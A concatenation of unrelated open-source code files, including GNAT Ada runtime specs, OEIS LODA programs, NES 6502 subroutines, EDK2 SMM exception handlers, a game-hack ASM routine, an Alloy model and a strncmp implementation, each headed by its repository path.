pragma Ada_05 (Wide_Wide_Expanded_Name);
private
-- The following subprogram specifications are placed here instead of
-- the package body to see them from the frontend through rtsfind.
---------------------------------------------------------------
-- Abstract Procedural Interface For The GNAT Dispatch Table --
---------------------------------------------------------------
-- GNAT's Dispatch Table format is customizable in order to match the
-- format used in another language. GNAT supports programs that use two
-- different dispatch table formats at the same time: the native format
-- that supports Ada 95 tagged types and which is described in Ada.Tags,
-- and a foreign format for types that are imported from some other
-- language (typically C++) which is described in Interfaces.CPP. The
-- runtime information kept for each tagged type is separated into two
-- objects: the Dispatch Table and the Type Specific Data record. These
-- two objects are allocated statically using the constants:
-- DT Size = DT_Prologue_Size + Nb_Prim * DT_Entry_Size
-- TSD Size = TSD_Prologue_Size + (1 + Idepth) * TSD_Entry_Size
-- where Nb_prim is the number of primitive operations of the given
-- type and Idepth its inheritance depth.
-- In order to set or retrieve information from the Dispatch Table or
-- the Type Specific Data record, GNAT generates calls to Set_XXX or
-- Get_XXX routines, where XXX is the name of the field of interest.
type Dispatch_Table;
type Tag is access all Dispatch_Table;
type Interface_Tag is access all Dispatch_Table;
No_Tag : constant Tag := null;
type Interface_Data (Nb_Ifaces : Positive);
type Interface_Data_Ptr is access all Interface_Data;
-- Table of abstract interfaces used to give support to backward interface
-- conversions and also to IW_Membership.
type Object_Specific_Data (Nb_Prim : Positive);
type Object_Specific_Data_Ptr is access all Object_Specific_Data;
-- Information associated with the secondary dispatch table of tagged-type
-- objects implementing abstract interfaces.
type Select_Specific_Data (Nb_Prim : Positive);
type Select_Specific_Data_Ptr is access all Select_Specific_Data;
-- A table used to store the primitive operation kind and entry index of
-- primitive subprograms of a type that implements a limited interface.
-- The Select Specific Data table resides in the Type Specific Data of a
-- type. This construct is used in the handling of dispatching triggers
-- in select statements.
type Type_Specific_Data;
type Type_Specific_Data_Ptr is access all Type_Specific_Data;
-- Primitive operation kinds. These values differentiate the kinds of
-- callable entities stored in the dispatch table. Certain kinds may
-- not be used, but are added for completeness.
type Prim_Op_Kind is
(POK_Function,
POK_Procedure,
POK_Protected_Entry,
POK_Protected_Function,
POK_Protected_Procedure,
POK_Task_Entry,
POK_Task_Function,
POK_Task_Procedure);
-- Tagged type kinds with respect to concurrency and limitedness
type Tagged_Kind is
(TK_Abstract_Limited_Tagged,
TK_Abstract_Tagged,
TK_Limited_Tagged,
TK_Protected,
TK_Tagged,
TK_Task);
type Tagged_Kind_Ptr is access all Tagged_Kind;
Default_Prim_Op_Count : constant Positive := 15;
-- Number of predefined primitive operations added by the Expander for a
-- tagged type (must match Exp_Disp.Default_Prim_Op_Count).
type Signature_Kind is
(Unknown,
Valid_Signature,
Primary_DT,
Secondary_DT,
Abstract_Interface);
for Signature_Kind'Size use 8;
-- Kind of signature found in the header of the dispatch table. These
-- signatures are generated by the frontend and are used by the Check_XXX
-- routines to ensure that the kind of dispatch table managed by each of
-- the routines in this package is correct. This additional check is only
-- performed with this run-time package is compiled with assertions enabled
-- The signature is a sequence of two bytes. The first byte must have the
-- value Valid_Signature, and the second byte must have a value in the
-- range Primary_DT .. Abstract_Interface. The Unknown value is used by
-- the Check_XXX routines to indicate that the signature is wrong.
package SSE renames System.Storage_Elements;
function CW_Membership (Obj_Tag : Tag; Typ_Tag : Tag) return Boolean;
-- Given the tag of an object and the tag associated to a type, return
-- true if Obj is in Typ'Class.
function IW_Membership (This : System.Address; T : Tag) return Boolean;
-- Ada 2005 (AI-251): General routine that checks if a given object
-- implements a tagged type. Its common usage is to check if Obj is in
-- Iface'Class, but it is also used to check if a class-wide interface
-- implements a given type (Iface_CW_Typ in T'Class). For example:
--
-- type I is interface;
-- type T is tagged ...
--
-- function Test (O : in I'Class) is
-- begin
-- return O in T'Class.
-- end Test;
function Displace (This : System.Address; T : Tag) return System.Address;
-- (Ada 2005 (AI-251): Displace "This" to point to the secondary dispatch
-- table of T.
function Get_Access_Level (T : Tag) return Natural;
-- Given the tag associated with a type, returns the accessibility level
-- of the type.
function Get_Entry_Index (T : Tag; Position : Positive) return Positive;
-- Return a primitive operation's entry index (if entry) given a dispatch
-- table T and a position of a primitive operation in T.
function Get_External_Tag (T : Tag) return System.Address;
-- Retrieve the address of a null terminated string containing
-- the external name.
function Get_Offset_Index
(T : Tag;
Position : Positive) return Positive;
-- Given a pointer to a secondary dispatch table (T) and a position of an
-- operation in the DT, retrieve the corresponding operation's position in
-- the primary dispatch table from the Offset Specific Data table of T.
function Get_Predefined_Prim_Op_Address
(T : Tag;
Position : Positive) return System.Address;
-- Given a pointer to a dispatch table (T) and a position in the DT
-- this function returns the address of the virtual function stored
-- in it (used for dispatching calls).
function Get_Prim_Op_Address
(T : Tag;
Position : Positive) return System.Address;
-- Given a pointer to a dispatch table (T) and a position in the DT
-- this function returns the address of the virtual function stored
-- in it (used for dispatching calls).
function Get_Prim_Op_Kind
(T : Tag;
Position : Positive) return Prim_Op_Kind;
-- Return a primitive operation's kind given a dispatch table T and a
-- position of a primitive operation in T.
function Get_RC_Offset (T : Tag) return SSE.Storage_Offset;
-- Return the Offset of the implicit record controller when the object
-- has controlled components. O otherwise.
pragma Export (Ada, Get_RC_Offset, "ada__tags__get_rc_offset");
-- This procedure is used in s-finimp to compute the deep routines
-- it is exported manually in order to avoid changing completely the
-- organization of the run time.
function Get_Remotely_Callable (T : Tag) return Boolean;
-- Return the value previously set by Set_Remotely_Callable
function Get_Tagged_Kind (T : Tag) return Tagged_Kind;
-- Given a pointer to either a primary or a secondary dispatch table,
-- return the tagged kind of a type in the context of concurrency and
-- limitedness.
procedure Inherit_DT (Old_T : Tag; New_T : Tag; Entry_Count : Natural);
-- Entry point used to initialize the DT of a type knowing the tag
-- of the direct ancestor and the number of primitive ops that are
-- inherited (Entry_Count).
procedure Inherit_TSD (Old_Tag : Tag; New_Tag : Tag);
-- Initialize the TSD of a type knowing the tag of the direct ancestor
function Offset_To_Top
(This : System.Address) return System.Storage_Elements.Storage_Offset;
-- Returns the current value of the offset_to_top component available in
-- the prologue of the dispatch table. If the parent of the tagged type
-- has discriminants this value is stored in a record component just
-- immediately after the tag component.
function OSD (T : Tag) return Object_Specific_Data_Ptr;
-- Ada 2005 (AI-251): Given a pointer T to a secondary dispatch table,
-- retrieve the address of the record containing the Objet Specific
-- Data table.
function Parent_Size
(Obj : System.Address;
T : Tag) return SSE.Storage_Count;
-- Computes the size the ancestor part of a tagged extension object whose
-- address is 'obj' by calling indirectly the ancestor _size function. The
-- ancestor is the parent of the type represented by tag T. This function
-- assumes that _size is always in slot one of the dispatch table.
pragma Export (Ada, Parent_Size, "ada__tags__parent_size");
-- This procedure is used in s-finimp and is thus exported manually
procedure Register_Interface_Tag
(T : Tag;
Interface_T : Tag;
Position : Positive);
-- Ada 2005 (AI-251): Used to initialize the table of interfaces
-- implemented by a type. Required to give support to backward interface
-- conversions and also to IW_Membership.
procedure Register_Tag (T : Tag);
-- Insert the Tag and its associated external_tag in a table for the
-- sake of Internal_Tag
procedure Set_Access_Level (T : Tag; Value : Natural);
-- Sets the accessibility level of the tagged type associated with T
-- in its TSD.
procedure Set_Entry_Index (T : Tag; Position : Positive; Value : Positive);
-- Set the entry index of a primitive operation in T's TSD table indexed
-- by Position.
procedure Set_Expanded_Name (T : Tag; Value : System.Address);
-- Set the address of the string containing the expanded name
-- in the Dispatch table.
procedure Set_External_Tag (T : Tag; Value : System.Address);
-- Set the address of the string containing the external tag
-- in the Dispatch table.
procedure Set_Interface_Table (T : Tag; Value : System.Address);
-- Ada 2005 (AI-251): Given a pointer T to a dispatch Table, stores the
-- pointer to the table of interfaces.
procedure Set_Num_Prim_Ops (T : Tag; Value : Natural);
-- Set the number of primitive operations in the dispatch table of T. This
-- is used for debugging purposes.
procedure Set_Offset_Index
(T : Tag;
Position : Positive;
Value : Positive);
-- Set the offset value of a primitive operation in a secondary dispatch
-- table denoted by T, indexed by Position.
procedure Set_Offset_To_Top
(This : System.Address;
Interface_T : Tag;
Is_Static : Boolean;
Offset_Value : System.Storage_Elements.Storage_Offset;
Offset_Func : System.Address);
-- Ada 2005 (AI-251): Initialize the Offset_To_Top field in the prologue of
-- the dispatch table. In primary dispatch tables the value of "This" is
-- not required (and the compiler passes always the Null_Address value) and
-- the Offset_Value is always cero; in secondary dispatch tables "This"
-- points to the object, Interface_T is the interface for which the
-- secondary dispatch table is being initialized, and Offset_Value is the
-- distance from "This" to the object component containing the tag of the
-- secondary dispatch table.
procedure Set_OSD (T : Tag; Value : System.Address);
-- Given a pointer T to a secondary dispatch table, store the pointer to
-- the record containing the Object Specific Data generated by GNAT.
procedure Set_Predefined_Prim_Op_Address
(T : Tag;
Position : Positive;
Value : System.Address);
-- Given a pointer to a dispatch Table (T) and a position in the dispatch
-- table associated with a predefined primitive operation, put the address
-- of the virtual function in it (used for overriding).
procedure Set_Prim_Op_Address
(T : Tag;
Position : Positive;
Value : System.Address);
-- Given a pointer to a dispatch Table (T) and a position in the dispatch
-- Table put the address of the virtual function in it (used for
-- overriding).
procedure Set_Prim_Op_Kind
(T : Tag;
Position : Positive;
Value : Prim_Op_Kind);
-- Set the kind of a primitive operation in T's TSD table indexed by
-- Position.
procedure Set_RC_Offset (T : Tag; Value : SSE.Storage_Offset);
-- Sets the Offset of the implicit record controller when the object
-- has controlled components. Set to O otherwise.
procedure Set_Remotely_Callable (T : Tag; Value : Boolean);
-- Set to true if the type has been declared in a context described
-- in E.4 (18).
procedure Set_Signature (T : Tag; Value : Signature_Kind);
-- Given a pointer T to a dispatch table, store the signature id
procedure Set_SSD (T : Tag; Value : System.Address);
-- Given a pointer T to a dispatch Table, stores the pointer to the record
-- containing the Select Specific Data generated by GNAT.
procedure Set_Tagged_Kind (T : Tag; Value : Tagged_Kind);
-- Set the tagged kind of a type in either a primary or a secondary
-- dispatch table denoted by T.
procedure Set_TSD (T : Tag; Value : System.Address);
-- Given a pointer T to a dispatch Table, stores the address of the record
-- containing the Type Specific Data generated by GNAT.
function SSD (T : Tag) return Select_Specific_Data_Ptr;
-- Given a pointer T to a dispatch Table, retrieves the address of the
-- record containing the Select Specific Data in T's TSD.
function TSD (T : Tag) return Type_Specific_Data_Ptr;
-- Given a pointer T to a dispatch Table, retrieves the address of the
-- record containing the Type Specific Data generated by GNAT.
DT_Prologue_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
((Default_Prim_Op_Count + 4) *
(Standard'Address_Size / System.Storage_Unit));
-- Size of the hidden part of the dispatch table. It contains the table of
-- predefined primitive operations plus the C++ ABI header.
DT_Signature_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
(1 * (Standard'Address_Size / System.Storage_Unit));
-- Size of the Signature field of the dispatch table
DT_Tagged_Kind_Size : constant SSE.Storage_Count :=
SSE.Storage_Count (1 * (Standard'Address_Size / System.Storage_Unit));
-- Size of the Tagged_Type_Kind field of the dispatch table
DT_Offset_To_Top_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
(1 * (Standard'Address_Size /
System.Storage_Unit));
-- Size of the Offset_To_Top field of the Dispatch Table
DT_Typeinfo_Ptr_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
(1 * (Standard'Address_Size /
System.Storage_Unit));
-- Size of the Typeinfo_Ptr field of the Dispatch Table
DT_Entry_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
(1 * (Standard'Address_Size / System.Storage_Unit));
-- Size of each primitive operation entry in the Dispatch Table
Tag_Size : constant SSE.Storage_Count :=
SSE.Storage_Count (1 * (Standard'Address_Size / System.Storage_Unit));
-- Size of each tag
TSD_Prologue_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
(10 * (Standard'Address_Size /
System.Storage_Unit));
-- Size of the first part of the type specific data
TSD_Entry_Size : constant SSE.Storage_Count :=
SSE.Storage_Count
(1 * (Standard'Address_Size / System.Storage_Unit));
-- Size of each ancestor tag entry in the TSD
type Address_Array is array (Natural range <>) of System.Address;
pragma Suppress (Index_Check, On => Address_Array);
-- The reason we suppress index checks is that in the body, objects
-- of this type are declared with a dummy size of 1, the actual size
-- depending on the number of primitive operations.
-- Unchecked Conversions
type Addr_Ptr is access System.Address;
type Tag_Ptr is access Tag;
type Signature_Values is
array (1 .. DT_Signature_Size) of Signature_Kind;
-- Type used to see the signature as a sequence of Signature_Kind values
type Signature_Values_Ptr is access all Signature_Values;
function To_Addr_Ptr is
new Unchecked_Conversion (System.Address, Addr_Ptr);
function To_Type_Specific_Data_Ptr is
new Unchecked_Conversion (System.Address, Type_Specific_Data_Ptr);
function To_Address is
new Unchecked_Conversion (Interface_Tag, System.Address);
function To_Address is
new Unchecked_Conversion (Tag, System.Address);
function To_Address is
new Unchecked_Conversion (Type_Specific_Data_Ptr, System.Address);
function To_Interface_Data_Ptr is
new Unchecked_Conversion (System.Address, Interface_Data_Ptr);
function To_Object_Specific_Data_Ptr is
new Unchecked_Conversion (System.Address, Object_Specific_Data_Ptr);
function To_Select_Specific_Data_Ptr is
new Unchecked_Conversion (System.Address, Select_Specific_Data_Ptr);
function To_Signature_Values is
new Unchecked_Conversion (System.Storage_Elements.Storage_Offset,
Signature_Values);
function To_Signature_Values_Ptr is
new Unchecked_Conversion (System.Address,
Signature_Values_Ptr);
function To_Tag is
new Unchecked_Conversion (System.Address, Tag);
function To_Tag_Ptr is
new Unchecked_Conversion (System.Address, Tag_Ptr);
function To_Tagged_Kind_Ptr is
new Unchecked_Conversion (System.Address, Tagged_Kind_Ptr);
-- Primitive dispatching operations are always inlined, to facilitate
-- use in a minimal/no run-time environment for high integrity use.
pragma Inline_Always (CW_Membership);
pragma Inline_Always (Displace);
pragma Inline_Always (IW_Membership);
pragma Inline_Always (Get_Access_Level);
pragma Inline_Always (Get_Entry_Index);
pragma Inline_Always (Get_Offset_Index);
pragma Inline_Always (Get_Predefined_Prim_Op_Address);
pragma Inline_Always (Get_Prim_Op_Address);
pragma Inline_Always (Get_Prim_Op_Kind);
pragma Inline_Always (Get_RC_Offset);
pragma Inline_Always (Get_Remotely_Callable);
pragma Inline_Always (Get_Tagged_Kind);
pragma Inline_Always (Inherit_DT);
pragma Inline_Always (Inherit_TSD);
pragma Inline_Always (OSD);
pragma Inline_Always (Register_Interface_Tag);
pragma Inline_Always (Register_Tag);
pragma Inline_Always (Set_Access_Level);
pragma Inline_Always (Set_Entry_Index);
pragma Inline_Always (Set_Expanded_Name);
pragma Inline_Always (Set_External_Tag);
pragma Inline_Always (Set_Interface_Table);
pragma Inline_Always (Set_Num_Prim_Ops);
pragma Inline_Always (Set_Offset_Index);
pragma Inline_Always (Set_Offset_To_Top);
pragma Inline_Always (Set_Predefined_Prim_Op_Address);
pragma Inline_Always (Set_Prim_Op_Address);
pragma Inline_Always (Set_Prim_Op_Kind);
pragma Inline_Always (Set_RC_Offset);
pragma Inline_Always (Set_Remotely_Callable);
pragma Inline_Always (Set_Signature);
pragma Inline_Always (Set_OSD);
pragma Inline_Always (Set_SSD);
pragma Inline_Always (Set_TSD);
pragma Inline_Always (Set_Tagged_Kind);
pragma Inline_Always (SSD);
pragma Inline_Always (TSD);
end Ada.Tags;
|
programs/oeis/093/A093134.asm | neoneye/loda | 22 | 172575 | <gh_stars>10-100
; A093134: A Jacobsthal trisection.
; 1,0,8,56,456,3640,29128,233016,1864136,14913080,119304648,954437176,7635497416,61083979320,488671834568,3909374676536,31274997412296,250199979298360,2001599834386888,16012798675095096,128102389400760776,1024819115206086200,8198552921648689608,65588423373189516856,524707386985516134856,4197659095884129078840,33581272767073032630728,268650182136584261045816,2149201457092674088366536,17193611656741392706932280,137548893253931141655458248,1100391146031449133243665976,8803129168251593065949327816,70425033346012744527594622520,563400266768101956220756980168,4507202134144815649766055841336,36057617073158525198128446730696,288460936585268201585027573845560,2307687492682145612680220590764488,18461499941457164901441764726115896,147691999531657319211534117808927176
mov $1,8
pow $1,$0
div $1,9
add $1,1
mov $2,$0
gcd $2,2
add $1,$2
mul $1,2
sub $1,4
div $1,2
mov $0,$1
|
libsrc/target/pk8000/stdio/fputc_cons_native.asm | ahjelm/z88dk | 640 | 89054 | <filename>libsrc/target/pk8000/stdio/fputc_cons_native.asm
SECTION code_clib
PUBLIC fputc_cons_native
PUBLIC _fputc_cons_native
fputc_cons_native:
_fputc_cons_native:
ld hl,2
add hl,sp
ld a,(hl)
call $0018
ret
|
Engine Hacks/Skill System/Teq Skills/FE8-Capture/FE8-Capture/Capture_Effect_Func.asm | sme23/MekkahRestrictedHackComp1 | 1 | 23364 | .thumb
.org 0x0
@r0 and r1 are important. This function just sets the Capturing bit before bx'ing to the usual Attack menu effect ptr
push {r0,r1}
ldr r0,CurrentCharPtr
ldr r0,[r0]
ldr r1,[r0,#0xC]
mov r2,#0x80
lsl r2,#0x17 @byte 4, 0x40 for Capture
orr r1,r2
str r1,[r0,#0xC]
pop {r0,r1}
ldr r2,Attack_Effect_Func
bx r2
.align
CurrentCharPtr:
.long 0x03004E50
Attack_Effect_Func:
.long 0x08022B30+1
|
llvm-gcc-4.2-2.9/gcc/ada/s-addima.ads | vidkidz/crossbridge | 1 | 21827 | <reponame>vidkidz/crossbridge<filename>llvm-gcc-4.2-2.9/gcc/ada/s-addima.ads<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . A D D R E S S _ I M A G E --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2003 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This is a GNAT specific addition which provides a useful debugging
-- procedure that gives an (implementation dependent) string which
-- identifies an address.
-- This unit may be used directly from an application program by providing
-- an appropriate WITH, and the interface can be expected to remain stable.
function System.Address_Image (A : Address) return String;
pragma Pure (System.Address_Image);
-- Returns string (hexadecimal digits with upper case letters) representing
-- the address (string is 8/16 bytes for 32/64-bit machines).
|
programs/oeis/064/A064999.asm | karttu/loda | 1 | 4371 | ; A064999: Partial sums of sequence (essentially A002378): 1, 2, 6, 12, 20, 30, 42, 56, 72, 90, ...
; 1,3,9,21,41,71,113,169,241,331,441,573,729,911,1121,1361,1633,1939,2281,2661,3081,3543,4049,4601,5201,5851,6553,7309,8121,8991,9921,10913,11969,13091,14281,15541,16873,18279,19761,21321,22961,24683,26489,28381,30361,32431,34593,36849,39201,41651,44201,46853,49609,52471,55441,58521,61713,65019,68441,71981,75641,79423,83329,87361,91521,95811,100233,104789,109481,114311,119281,124393,129649,135051,140601,146301,152153,158159,164321,170641,177121,183763,190569,197541,204681,211991,219473,227129,234961,242971,251161,259533,268089,276831,285761,294881,304193,313699,323401,333301,343401,353703,364209,374921,385841,396971,408313,419869,431641,443631,455841,468273,480929,493811,506921,520261,533833,547639,561681,575961,590481,605243,620249,635501,651001,666751,682753,699009,715521,732291,749321,766613,784169,801991,820081,838441,857073,875979,895161,914621,934361,954383,974689,995281,1016161,1037331,1058793,1080549,1102601,1124951,1147601,1170553,1193809,1217371,1241241,1265421,1289913,1314719,1339841,1365281,1391041,1417123,1443529,1470261,1497321,1524711,1552433,1580489,1608881,1637611,1666681,1696093,1725849,1755951,1786401,1817201,1848353,1879859,1911721,1943941,1976521,2009463,2042769,2076441,2110481,2144891,2179673,2214829,2250361,2286271,2322561,2359233,2396289,2433731,2471561,2509781,2548393,2587399,2626801,2666601,2706801,2747403,2788409,2829821,2871641,2913871,2956513,2999569,3043041,3086931,3131241,3175973,3221129,3266711,3312721,3359161,3406033,3453339,3501081,3549261,3597881,3646943,3696449,3746401,3796801,3847651,3898953,3950709,4002921,4055591,4108721,4162313,4216369,4270891,4325881,4381341,4437273,4493679,4550561,4607921,4665761,4724083,4782889,4842181,4901961,4962231,5022993,5084249,5146001,5208251
add $0,2
bin $0,3
mov $1,$0
mul $1,2
add $1,1
|
FW/PlatformBuildLab/Max/edk2/UefiCpuPkg/Library/SmmCpuFeaturesLib/X64/SmiException.nasm | tianocore-training/PlatformBuildLab_FW | 1 | 86953 | ;------------------------------------------------------------------------------ ;
; Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SmiException.nasm
;
; Abstract:
;
; Exception handlers used in SM mode
;
;-------------------------------------------------------------------------------
global ASM_PFX(gcStmPsd)
extern ASM_PFX(SmmStmExceptionHandler)
extern ASM_PFX(SmmStmSetup)
extern ASM_PFX(SmmStmTeardown)
extern ASM_PFX(gStmXdSupported)
extern ASM_PFX(gStmSmiHandlerIdtr)
%define MSR_IA32_MISC_ENABLE 0x1A0
%define MSR_EFER 0xc0000080
%define MSR_EFER_XD 0x800
CODE_SEL equ 0x38
DATA_SEL equ 0x20
TR_SEL equ 0x40
SECTION .data
;
; This structure serves as a template for all processors.
;
ASM_PFX(gcStmPsd):
DB 'TXTPSSIG'
DW PSD_SIZE
DW 1 ; Version
DD 0 ; LocalApicId
DB 0x0F ; Cr4Pse;Cr4Pae;Intel64Mode;ExecutionDisableOutsideSmrr
DB 0 ; BIOS to STM
DB 0 ; STM to BIOS
DB 0
DW CODE_SEL
DW DATA_SEL
DW DATA_SEL
DW DATA_SEL
DW TR_SEL
DW 0
DQ 0 ; SmmCr3
DQ ASM_PFX(OnStmSetup)
DQ ASM_PFX(OnStmTeardown)
DQ 0 ; SmmSmiHandlerRip - SMM guest entrypoint
DQ 0 ; SmmSmiHandlerRsp
DQ 0
DD 0
DD 0x80010100 ; RequiredStmSmmRevId
DQ ASM_PFX(OnException)
DQ 0 ; ExceptionStack
DW DATA_SEL
DW 0x01F ; ExceptionFilter
DD 0
DQ 0
DQ 0 ; BiosHwResourceRequirementsPtr
DQ 0 ; AcpiRsdp
DB 0 ; PhysicalAddressBits
PSD_SIZE equ $ - ASM_PFX(gcStmPsd)
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; SMM Exception handlers
;------------------------------------------------------------------------------
global ASM_PFX(OnException)
ASM_PFX(OnException):
mov rcx, rsp
add rsp, -0x28
call ASM_PFX(SmmStmExceptionHandler)
add rsp, 0x28
mov ebx, eax
mov eax, 4
DB 0x0f, 0x01, 0x0c1 ; VMCALL
jmp $
global ASM_PFX(OnStmSetup)
ASM_PFX(OnStmSetup):
;
; Check XD disable bit
;
xor r8, r8
mov rax, ASM_PFX(gStmXdSupported)
mov al, [rax]
cmp al, 0
jz @StmXdDone1
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
mov r8, rdx ; save MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34]
jz .01
and dx, 0xFFFB ; clear XD Disable bit if it is set
wrmsr
.01:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD ; enable NXE
wrmsr
@StmXdDone1:
push r8
add rsp, -0x20
call ASM_PFX(SmmStmSetup)
add rsp, 0x20
mov rax, ASM_PFX(gStmXdSupported)
mov al, [rax]
cmp al, 0
jz .11
pop rdx ; get saved MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2
jz .11
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM
wrmsr
.11:
rsm
global ASM_PFX(OnStmTeardown)
ASM_PFX(OnStmTeardown):
;
; Check XD disable bit
;
xor r8, r8
mov rax, ASM_PFX(gStmXdSupported)
mov al, [rax]
cmp al, 0
jz @StmXdDone2
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
mov r8, rdx ; save MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34]
jz .02
and dx, 0xFFFB ; clear XD Disable bit if it is set
wrmsr
.02:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD ; enable NXE
wrmsr
@StmXdDone2:
push r8
add rsp, -0x20
call ASM_PFX(SmmStmTeardown)
add rsp, 0x20
mov rax, ASM_PFX(gStmXdSupported)
mov al, [rax]
cmp al, 0
jz .12
pop rdx ; get saved MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2
jz .12
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM
wrmsr
.12:
rsm
|
alloy4fun_models/trashltl/models/15/frB2ELrnjYSqAELre.als | Kaixi26/org.alloytools.alloy | 0 | 557 | <filename>alloy4fun_models/trashltl/models/15/frB2ELrnjYSqAELre.als
open main
pred idfrB2ELrnjYSqAELre_prop16 {
always Protected in Protected'
}
pred __repair { idfrB2ELrnjYSqAELre_prop16 }
check __repair { idfrB2ELrnjYSqAELre_prop16 <=> prop16o } |
programs/oeis/219/A219680.asm | neoneye/loda | 22 | 26979 | ; A219680: Number of n X 2 arrays of the minimum value of corresponding elements and their horizontal, vertical or antidiagonal neighbors in a random, but sorted with lexicographically nondecreasing rows and nonincreasing columns, 0..2 n X 2 array.
; 3,4,9,19,35,60,98,154,234,345,495,693,949,1274,1680,2180,2788,3519,4389,5415,6615,8008,9614,11454,13550,15925,18603,21609,24969,28710,32860,37448,42504,48059,54145,60795,68043,75924,84474,93730,103730,114513,126119,138589,151965,166290,181608,197964,215404,233975,253725,274703,296959,320544,345510,371910,399798,429229,460259,492945,527345,563518,601524,641424,683280,727155,773113,821219,871539,924140,979090,1036458,1096314,1158729,1223775,1291525,1362053,1435434,1511744,1591060,1673460,1759023,1847829,1939959,2035495,2134520,2237118,2343374,2453374,2567205,2684955,2806713,2932569,3062614,3196940,3335640,3478808,3626539,3778929,3936075
mov $2,$0
cmp $2,0
mov $3,1
mov $4,$0
add $0,$2
mov $1,$0
seq $0,55417 ; Number of points in N^n of norm <= 2.
div $3,$1
add $3,$0
sub $3,1
mov $0,$3
mov $5,$4
mul $5,$4
add $0,$5
|
source/subroutines.asm | tragicmuffin/untitledarpg-nes | 0 | 7769 | ;;; 6502 Subroutine Library ;;;
; Modulo operator (https://gist.github.com/hausdorff/5993556)
; Load A and Y prior to calling. Returns A%Y in A.
mod:
SEC ; set carry (C=1) to clear borrow
STY temp1 ; store Y in a temporary variable
.modloop:
SBC temp1 ; subtract A - Y
BCS .modloop ; loops if subtraction DID NOT produce a borrow (C=1)
ADC temp1 ; add Y back to A to get last positive modulus
RTS
; Division operator (https://gist.github.com/hausdorff/5993556)
; Load A and Y prior to calling. Returns floor(A/Y) = quotient(A/Y) in A.
divide:
LDX #$FF ; start X at $FF so subtraction count will begin at 0
SEC
STY temp1 ; store Y in a temporary variable
.divideloop:
INX ; count number of loops with X (starting at 0)
SBC temp1 ; subtract A - Y
BCS .divideloop
TXA ; transfer quotient to A
RTS
; prng (https://wiki.nesdev.com/w/index.php/Random_number_generator)
;
; 16-bit Galois linear feedback shift register with polynomial $002D.
; Returns a random 8-bit number in A/rng (0-255).
; Period: 65535
; Execution time: ~125 cycles
prng:
LDX #8 ; iteration count (generates 8 bits)
LDA rng+0
prng_step1:
ASL A ; shift the register
ROL rng+1
BCC prng_step2
EOR #$2D ; apply XOR feedback whenever a 1 bit is shifted out
prng_step2:
DEX
BNE prng_step1
STA rng+0
CMP #0 ; reload flags
RTS
; Convert a 2-byte (16-bit) binary/hex number to a 5-byte decimal number (1 byte per decimal digit)
; Requires two variables: temp_dec (5 bytes), temp_bin (2 bytes).
; temp_bin must be set before call. Result will be returned in temp_dec.
; Note: Both variables are little endian. Pass temp_bin = LSB, MSB. Returns temp_dec = d5, d4, d3, d2, d1 (digits)
; BinaryToDecimal:
; LDA #$00
; STA temp_dec+0
; STA temp_dec+1
; STA temp_dec+2
; STA temp_dec+3
; STA temp_dec+4
; LDX #$10
; BitLoop:
; ASL temp_bin+0
; ROL temp_bin+1
; LDY temp_dec+0
; LDA BinTable, y
; ROL a
; STA temp_dec+0
; LDY temp_dec+1
; LDA BinTable, y
; ROL a
; STA temp_dec+1
; LDY temp_dec+2
; LDA BinTable, y
; ROL a
; STA temp_dec+2
; LDY temp_dec+3
; LDA BinTable, y
; ROL a
; STA temp_dec+3
; ROL temp_dec+4
; DEX
; BNE BitLoop
; RTS
; BinTable:
; .db $00, $01, $02, $03, $04, $80, $81, $82, $83, $84
|
srcs/strncmp.asm | fadatos/minilibc_2017 | 0 | 11764 | BITS 64
global strncmp:function
section .text
strncmp:
xor rcx, rcx
loop:
mov r10b, byte [rdi]
mov r9b, byte [rsi]
cmp r10b, 0
je end
cmp r9b, 0
je end
cmp r10b, r9b
jne end
inc rdi
inc rsi
inc rcx
cmp rdx, rcx
jle end
jmp loop
end:
movzx rax, r10b
movzx rbx, r9b
sub rax, rbx
ret
|
